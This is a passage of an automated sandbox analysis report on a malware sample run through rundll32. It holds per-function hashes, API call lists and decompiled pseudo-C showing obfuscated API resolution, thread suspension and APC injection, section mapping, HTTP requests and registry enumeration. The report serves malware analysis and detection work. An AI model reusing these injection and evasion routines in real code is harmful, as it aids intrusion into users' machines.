                          • Instruction ID: 87683a2efef0faac0d90bcd347c41dcc7f61570cf89294166a590996a9b92533
                          • Opcode Fuzzy Hash: e454ec0175557bdb3a3522d8f064ba23c3254cfc86e557d50722712eace70492
                          • Instruction Fuzzy Hash: BB112937A015247B671277B59C84CFF3AAFCF896683098016FA0097200DE39FD01ABA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C73F07 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04C71F7A: IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,052489D0,04C73F35,?,?,?,?,?,?,?,?,?,?,?,04C73F35), ref: 04C72047
                            • Part of subcall function 04C75634: IUnknown_QueryInterface_Proxy.RPCRT4(?,E7A1AF80,?), ref: 04C75671
                            • Part of subcall function 04C75634: IUnknown_QueryInterface_Proxy.RPCRT4(?,A4C6892C,?), ref: 04C756A2
                          • SysAllocString.OLEAUT32(00000000), ref: 04C73F61
                          • SysAllocString.OLEAUT32(0070006F), ref: 04C73F75
                          • SysAllocString.OLEAUT32(00000000), ref: 04C73F87
                          • SysFreeString.OLEAUT32(00000000), ref: 04C73FEF
                          • SysFreeString.OLEAUT32(00000000), ref: 04C73FFE
                          • SysFreeString.OLEAUT32(00000000), ref: 04C74009
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: String$AllocFreeQueryUnknown_$Interface_Proxy$Service
                          • String ID:
                          • API String ID: 2831207796-0
                          • Opcode ID: ed8b82a2a24787e34dc1d03dd52e6a20006c9f83b3e23ecdcf60f4bb85c83457
                          • Instruction ID: 06ef6537d5bd7bb1aee407c82c0f993cc9078c063a9e4e81896624f4b57a78d0
                          • Opcode Fuzzy Hash: ed8b82a2a24787e34dc1d03dd52e6a20006c9f83b3e23ecdcf60f4bb85c83457
                          • Instruction Fuzzy Hash: 70418F36D00609AFDB01DFB8C845AAEB7BAEF49311F144466ED14EB260DA71EE05CB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBC5C4 Relevance: 9.1, APIs: 6, Instructions: 125threadsynchronizationinjectionCOMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CBC5E7
                            • Part of subcall function 04CC212C: GetModuleHandleA.KERNEL32(?,?,?,?,?,04CB111D,00000000), ref: 04CC214D
                            • Part of subcall function 04CC212C: GetProcAddress.KERNEL32(00000000,?), ref: 04CC2166
                            • Part of subcall function 04CC212C: OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,04CB111D,00000000), ref: 04CC2183
                            • Part of subcall function 04CC212C: IsWow64Process.KERNEL32(?,?,?,?,?,?,04CB111D,00000000), ref: 04CC2194
                            • Part of subcall function 04CC212C: FindCloseChangeNotification.KERNEL32(?,?,?,?,04CB111D,00000000), ref: 04CC21A7
                          • ResumeThread.KERNEL32(00000004,?,00000000,CCCCFEEB,?,00000000,00000000,00000004,?,00000000,00000000,761B4EE0,00000000), ref: 04CBC6A1
                          • WaitForSingleObject.KERNEL32(00000064), ref: 04CBC6AF
                          • SuspendThread.KERNEL32(00000004), ref: 04CBC6C2
                            • Part of subcall function 04CC6DE0: memset.NTDLL ref: 04CC70AA
                          • ResumeThread.KERNEL32(00000004), ref: 04CBC745
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Thread$ProcessResumememset$AddressChangeCloseFindHandleModuleNotificationObjectOpenProcSingleSuspendWaitWow64
                          • String ID:
                          • API String ID: 2397206891-0
                          • Opcode ID: b856cdff4943c47ca1da5095e4f80408438a2ae9c09c08e9a735c631d79d9717
                          • Instruction ID: c1bd802b5fc54c2ae6f4606155a3ae525be6ea9c6d3ff36cdd27fd67504b9145
                          • Opcode Fuzzy Hash: b856cdff4943c47ca1da5095e4f80408438a2ae9c09c08e9a735c631d79d9717
                          • Instruction Fuzzy Hash: 7441BE75A00208BFEF119FA4CC88EEE7BBAEF44344F144469E994A6110DB35EE91DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC5800 Relevance: 9.1, APIs: 6, Instructions: 109memoryCOMMON
                          Download Yara Rule
                          APIs
                          • GetLastError.KERNEL32(?,?,80000000,00000001,?,04CD60C0,00000018,04CB4B2B,?,00000201,04CD9A24,04CD99DC,-0000000C,?), ref: 04CC5843
                          • VirtualProtect.KERNEL32(00000000,00000004,?,?,00000000,00000004,?,?,?,?,80000000,00000001,?,04CD60C0,00000018,04CB4B2B), ref: 04CC58CE
                          • RtlEnterCriticalSection.NTDLL(04CDA400), ref: 04CC58F7
                          • RtlLeaveCriticalSection.NTDLL(04CDA400), ref: 04CC5915
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalSection$EnterErrorLastLeaveProtectVirtual
                          • String ID:
                          • API String ID: 3666628472-0
                          • Opcode ID: 8ba5c44dafc2df1266efc2ced5c00d05c0ce3d9a8ca115a92cafd64afa4ea835
                          • Instruction ID: a15b03588f5d078ee13f57681f9a2ffd55c2179c255b926fbd1a0c754f867162
                          • Opcode Fuzzy Hash: 8ba5c44dafc2df1266efc2ced5c00d05c0ce3d9a8ca115a92cafd64afa4ea835
                          • Instruction Fuzzy Hash: B5415574A00715EFDB10DFA5C884AAEBBF6FF08310B10852AE956D7220D774BA51DF90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C744DE Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C744DE(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E04C76D63(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x4c7a348; // 0x5cd5a8
					_t1 = _t23 + 0x4c7b11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x4c7a348; // 0x5cd5a8
					_t2 = _t26 + 0x4c7b761; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E04C76C2C(_t54);
					} else {
						_t30 =  *0x4c7a348; // 0x5cd5a8
						_t5 = _t30 + 0x4c7b74e; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x4c7a348; // 0x5cd5a8
							_t7 = _t33 + 0x4c7b771; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x4c7a348; // 0x5cd5a8
								_t9 = _t36 + 0x4c7b4ca; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x4c7a348; // 0x5cd5a8
									_t11 = _t39 + 0x4c7b786; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E04C7190C(_t54, _a8); // executed
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}


















                          0x04c744ed
                          0x04c744f1
                          0x04c745b3
                          0x04c744f7
                          0x04c744f7
                          0x04c744fc
                          0x04c7450f
                          0x04c74511
                          0x04c74516
                          0x04c7451e
                          0x04c74525
                          0x04c74527
                          0x04c7452c
                          0x04c745ab
                          0x04c745ac
                          0x04c7452e
                          0x04c7452e
                          0x04c74533
                          0x04c7453b
                          0x04c7453d
                          0x04c74542
                          0x00000000
                          0x04c74544
                          0x04c74544
                          0x04c74549
                          0x04c74551
                          0x04c74553
                          0x04c74558
                          0x00000000
                          0x04c7455a
                          0x04c7455a
                          0x04c7455f
                          0x04c74567
                          0x04c74569
                          0x04c7456e
                          0x00000000
                          0x04c74570
                          0x04c74570
                          0x04c74575
                          0x04c7457d
                          0x04c7457f
                          0x04c74584
                          0x00000000
                          0x04c74586
                          0x04c7458c
                          0x04c74591
                          0x04c74598
                          0x04c7459d
                          0x04c745a2
                          0x00000000
                          0x04c745a4
                          0x04c745a7
                          0x04c745a7
                          0x04c745a2
                          0x04c74584
                          0x04c7456e
                          0x04c74558
                          0x04c74542
                          0x04c7452c
                          0x04c745c1

                          APIs
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04C74046,?,?,?,?,00000000,00000000), ref: 04C74503
                          • GetProcAddress.KERNEL32(00000000,7243775A), ref: 04C74525
                          • GetProcAddress.KERNEL32(00000000,614D775A), ref: 04C7453B
                          • GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04C74551
                          • GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04C74567
                          • GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04C7457D
                            • Part of subcall function 04C7190C: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,761B4EE0,00000000,00000000,04C7459D), ref: 04C71969
                            • Part of subcall function 04C7190C: memset.NTDLL ref: 04C7198B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                          • String ID:
                          • API String ID: 3012371009-0
                          • Opcode ID: a7a41b373f825c46acff231df294eb94a1df8890db7b5cf904f52230e4652b48
                          • Instruction ID: 57d271717666b0ff44af8408518ddeac6c8e19385aad0f49366cc6a54ec3119a
                          • Opcode Fuzzy Hash: a7a41b373f825c46acff231df294eb94a1df8890db7b5cf904f52230e4652b48
                          • Instruction Fuzzy Hash: 0F2169B5610B0AAFD750DF6AC884E6ABBFDEF44705B048426EA05C7210E774FE058BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C76954 Relevance: 9.0, APIs: 6, Instructions: 45networkCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C76954(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0) {
					_t9 = E04C745C4(__eax + 4, _t18, _a4, __eax, __eax + 4); // executed
					if(_t9 == 0) {
						L9:
						return GetLastError();
					}
				}
				_t10 = E04C77AF1(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}







                          0x04c76954
                          0x04c76961
                          0x04c76963
                          0x04c7696e
                          0x04c76975
                          0x04c769c6
                          0x00000000
                          0x04c769c6
                          0x04c76975
                          0x04c7697b
                          0x04c76982
                          0x04c7698e
                          0x04c76993
                          0x04c769a9
                          0x04c769b9
                          0x00000000
                          0x04c769ab
                          0x04c769ab
                          0x04c769b2
                          0x04c769bf
                          0x04c769bf
                          0x04c769bf
                          0x04c769b2
                          0x04c769a9
                          0x04c769c4
                          0x00000000
                          0x00000000
                          0x04c769ca

                          APIs
                          • ResetEvent.KERNEL32(?,00000008,?,?,00000102,04C737A0,?,?,761F81D0,00000000), ref: 04C7698E
                          • ResetEvent.KERNEL32(?), ref: 04C76993
                          • HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 04C769A0
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,04C7593D,00000000,?,?), ref: 04C769AB
                          • GetLastError.KERNEL32(?,?,00000102,04C737A0,?,?,761F81D0,00000000), ref: 04C769C6
                            • Part of subcall function 04C745C4: lstrlen.KERNEL32(00000000,00000008,?,761B4D40,?,?,04C76973,?,?,?,?,00000102,04C737A0,?,?,761F81D0), ref: 04C745D0
                            • Part of subcall function 04C745C4: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04C76973,?,?,?,?,00000102,04C737A0,?), ref: 04C7462E
                            • Part of subcall function 04C745C4: lstrcpy.KERNEL32(00000000,00000000), ref: 04C7463E
                          • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04C7593D,00000000,?), ref: 04C769B9
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
                          • String ID:
                          • API String ID: 3739416942-0
                          • Opcode ID: ad36b237549ebaa67257e11bcf764853051041e914007f00b17bd7eababe8010
                          • Instruction ID: 43e53eda33cb34e649a2106a9410f8c6aaae5648aa28d376cdf2ee8c15e30e2c
                          • Opcode Fuzzy Hash: ad36b237549ebaa67257e11bcf764853051041e914007f00b17bd7eababe8010
                          • Instruction Fuzzy Hash: FF01AD31214A00ABEB316E31EC44F1BBAAAFF48378F100A25F551A10E1D730F904EA20
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC73AA Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON
                          Download Yara Rule
                          APIs
                          • CreateThread.KERNEL32(00000000,00000000,00000000,04CC893A,04CDA174,04CD0998), ref: 04CC73C1
                          • QueueUserAPC.KERNEL32(04CC893A,00000000,?,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73D6
                          • GetLastError.KERNEL32(00000000,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73E1
                          • TerminateThread.KERNEL32(00000000,00000000,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73EB
                          • CloseHandle.KERNEL32(00000000,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73F2
                          • SetLastError.KERNEL32(00000000,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73FB
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                          • String ID:
                          • API String ID: 3832013932-0
                          • Opcode ID: b3d75f763c1c1e9b90bbf870399359c47baf0fdea677b9f8fcd93a92f91bb0fa
                          • Instruction ID: 17c3e1d99336e0ac0e7ae110a1211eac63ec1e30b157487b6aaa66b15858f24e
                          • Opcode Fuzzy Hash: b3d75f763c1c1e9b90bbf870399359c47baf0fdea677b9f8fcd93a92f91bb0fa
                          • Instruction Fuzzy Hash: A6F0153E207221BBD7225FA0AC4DF9FBF69FF0D75AF448408FA0591190C7299D128BA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C73472 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167stringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 88%
                          			E04C73472(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				void* _t62;
				intOrPtr _t64;
				char _t65;
				void* _t67;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x4c7a3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E04C761FC( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					_t62 = E04C76F28(_t92, _t97, _t101, _t91, _t59); // executed
					if(_t62 != 0) {
						L27:
						E04C76C2C(_a8);
						goto L29;
					}
					_t64 =  *0x4c7a318; // 0x5249d70
					_t16 = _t64 + 0xc; // 0x5249e92
					_t65 = E04C761FC(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d04c790, executed
						_t67 = E04C74822(_t97,  *_t33, _t91, _a8,  *0x4c7a3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))); // executed
						if(_t67 == 0) {
							_t68 =  *0x4c7a348; // 0x5cd5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x4c7ba4c; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x4c7ba47; // 0x55434b48
								_t69 = _t34;
							}
							if(E04C762F6(_t69,  *0x4c7a3d4,  *0x4c7a3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x4c7a348; // 0x5cd5a8
									_t44 = _t71 + 0x4c7b842; // 0x74666f53
									_t73 = E04C761FC(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d04c790
										E04C774B6( *_t47, _t91, _a8,  *0x4c7a3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d04c790
										E04C774B6( *_t49, _t91, _t99,  *0x4c7a3d0, _a16);
										E04C76C2C(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d04c790, executed
									E04C774B6( *_t40, _t91, _a8,  *0x4c7a3d8, _a24); // executed
									_t43 = _t101 + 0x10; // 0x3d04c790
									E04C774B6( *_t43, _t91, _a8,  *0x4c7a3d0, _a16);
								}
								if( *_t101 != 0) {
									E04C76C2C(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d04c790, executed
					_t81 = E04C712CA( *_t21, _t91, _a8, _t65,  &_v16,  &_v12); // executed
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d04c790
							E04C74822(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E04C76C2C(_t100);
						_t98 = _a16;
					}
					E04C76C2C(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E04C77A1E(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x4c7a3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}

























                          0x04c73472
                          0x04c7347b
                          0x04c73482
                          0x04c73487
                          0x04c734f4
                          0x04c734fa
                          0x04c734ff
                          0x04c73506
                          0x04c7350b
                          0x04c73510
                          0x04c7367b
                          0x04c73682
                          0x04c73682
                          0x04c73687
                          0x04c73689
                          0x04c73689
                          0x04c73692
                          0x04c73692
                          0x04c73516
                          0x04c7351b
                          0x04c73522
                          0x04c73671
                          0x04c73674
                          0x00000000
                          0x04c73674
                          0x04c73528
                          0x04c7352d
                          0x04c73530
                          0x04c73535
                          0x04c7353a
                          0x04c73583
                          0x04c73583
                          0x04c73596
                          0x04c73599
                          0x04c735a0
                          0x04c735a6
                          0x04c735ad
                          0x04c735b7
                          0x04c735b7
                          0x04c735af
                          0x04c735af
                          0x04c735af
                          0x04c735af
                          0x04c735d9
                          0x04c735e1
                          0x04c7360f
                          0x04c73614
                          0x04c7361b
                          0x04c73620
                          0x04c73624
                          0x04c73656
                          0x04c73626
                          0x04c73633
                          0x04c73636
                          0x04c73646
                          0x04c73649
                          0x04c7364f
                          0x04c7364f
                          0x04c735e3
                          0x04c735f0
                          0x04c735f3
                          0x04c73605
                          0x04c73608
                          0x04c73608
                          0x04c73660
                          0x04c7366c
                          0x04c73662
                          0x04c73665
                          0x04c73665
                          0x04c73660
                          0x04c735d9
                          0x00000000
                          0x04c735a0
                          0x04c73549
                          0x04c7354c
                          0x04c73553
                          0x04c73559
                          0x04c7355c
                          0x04c7355e
                          0x04c7356a
                          0x04c7356d
                          0x04c7356d
                          0x04c73573
                          0x04c73578
                          0x04c73578
                          0x04c7357e
                          0x00000000
                          0x04c7357e
                          0x04c7348c
                          0x00000000
                          0x04c734b3
                          0x04c734b3
                          0x04c734bf
                          0x04c734d2
                          0x04c734d8
                          0x04c734e0
                          0x00000000
                          0x04c734e0

                          APIs
                          • StrChrA.SHLWAPI(04C77168,0000005F,00000000,00000000,00000104), ref: 04C734A5
                          • lstrcpy.KERNEL32(?,?), ref: 04C734D2
                            • Part of subcall function 04C761FC: lstrlen.KERNEL32(?,00000000,05249D70,00000000,04C739E8,05249F93,69B25F44,?,?,?,?,69B25F44,00000005,04C7A00C,4D283A53,?), ref: 04C76203
                            • Part of subcall function 04C761FC: mbstowcs.NTDLL ref: 04C7622C
                            • Part of subcall function 04C761FC: memset.NTDLL ref: 04C7623E
                            • Part of subcall function 04C774B6: lstrlenW.KERNEL32(?,?,?,04C7363B,3D04C790,80000002,04C77168,04C77283,74666F53,4D4C4B48,04C77283,?,3D04C790,80000002,04C77168,?), ref: 04C774DB
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          • lstrcpy.KERNEL32(?,00000000), ref: 04C734F4
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
                          • String ID: ($\
                          • API String ID: 3924217599-1512714803
                          • Opcode ID: dcdb693fe6fe60bc2418859fb7b783b8914d25f369b819378f6d93e2f87d8181
                          • Instruction ID: 8781f332a4bcfba18381ce1f6328b6fb30c1e2b31af0627b93b7471963c6ac71
                          • Opcode Fuzzy Hash: dcdb693fe6fe60bc2418859fb7b783b8914d25f369b819378f6d93e2f87d8181
                          • Instruction Fuzzy Hash: 9151387A600649EFEF119FA0DC84EAA7BBAFB08354F008515FE1596160D736EE25FB10
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C771B6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98registrysynchronizationCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C771B6(void* __ecx, intOrPtr _a4) {
				int* _v8;
				int _v12;
				int* _v16;
				int _v20;
				int* _v24;
				char* _v28;
				void* _v32;
				long _t33;
				char* _t35;
				long _t39;
				long _t42;
				intOrPtr _t47;
				void* _t51;
				long _t53;

				_t51 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_t33 = RegOpenKeyExA(0x80000003, 0, 0, 0x20019,  &_v32); // executed
				_t53 = _t33;
				if(_t53 != 0) {
					L18:
					return _t53;
				}
				_t53 = 8;
				_t35 = E04C76D63(0x104);
				_v28 = _t35;
				if(_t35 == 0) {
					L17:
					RegCloseKey(_v32); // executed
					goto L18;
				}
				_v20 = 0x104;
				do {
					_v16 = _v20;
					_v12 = 0x104;
					_t39 = RegEnumKeyExA(_v32, _v8, _v28,  &_v12, 0, 0, 0, 0); // executed
					_t53 = _t39;
					if(_t53 != 0xea) {
						if(_t53 != 0) {
							L14:
							if(_t53 == 0x103) {
								_t53 = 0;
							}
							L16:
							E04C76C2C(_v28);
							goto L17;
						}
						_t42 = E04C73472(_t51, _v32, _v28, _v24, _v12,  &_v8, _a4); // executed
						_t53 = _t42;
						if(_t53 != 0) {
							goto L14;
						}
						goto L12;
					}
					if(_v12 <= 0x104) {
						if(_v16 <= _v20) {
							goto L16;
						}
						E04C76C2C(_v24);
						_v20 = _v16;
						_t47 = E04C76D63(_v16);
						_v24 = _t47;
						if(_t47 != 0) {
							L6:
							_t53 = 0;
							goto L12;
						}
						_t53 = 8;
						goto L16;
					}
					_v8 = _v8 + 1;
					goto L6;
					L12:
				} while (WaitForSingleObject( *0x4c7a30c, 0) == 0x102);
				goto L16;
			}

















                          0x04c771b6
                          0x04c771d0
                          0x04c771d3
                          0x04c771d6
                          0x04c771d9
                          0x04c771dc
                          0x04c771e2
                          0x04c771e6
                          0x04c772c0
                          0x04c772c4
                          0x04c772c4
                          0x04c771ef
                          0x04c771f6
                          0x04c771fb
                          0x04c77200
                          0x04c772b5
                          0x04c772b8
                          0x00000000
                          0x04c772be
                          0x04c77206
                          0x04c77209
                          0x04c77210
                          0x04c7721a
                          0x04c77223
                          0x04c77229
                          0x04c77231
                          0x04c77269
                          0x04c772a3
                          0x04c772a9
                          0x04c772ab
                          0x04c772ab
                          0x04c772ad
                          0x04c772b0
                          0x00000000
                          0x04c772b0
                          0x04c7727e
                          0x04c77283
                          0x04c77287
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c77287
                          0x04c77236
                          0x04c77245
                          0x00000000
                          0x00000000
                          0x04c7724a
                          0x04c77253
                          0x04c77256
                          0x04c7725b
                          0x04c77260
                          0x04c7723b
                          0x04c7723b
                          0x00000000
                          0x04c7723b
                          0x04c77264
                          0x00000000
                          0x04c77264
                          0x04c77238
                          0x00000000
                          0x04c77289
                          0x04c77296
                          0x00000000

                          APIs
                          • RegOpenKeyExA.KERNEL32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04C77168,?), ref: 04C771DC
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • RegEnumKeyExA.KERNEL32(?,?,?,04C77168,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04C77168), ref: 04C77223
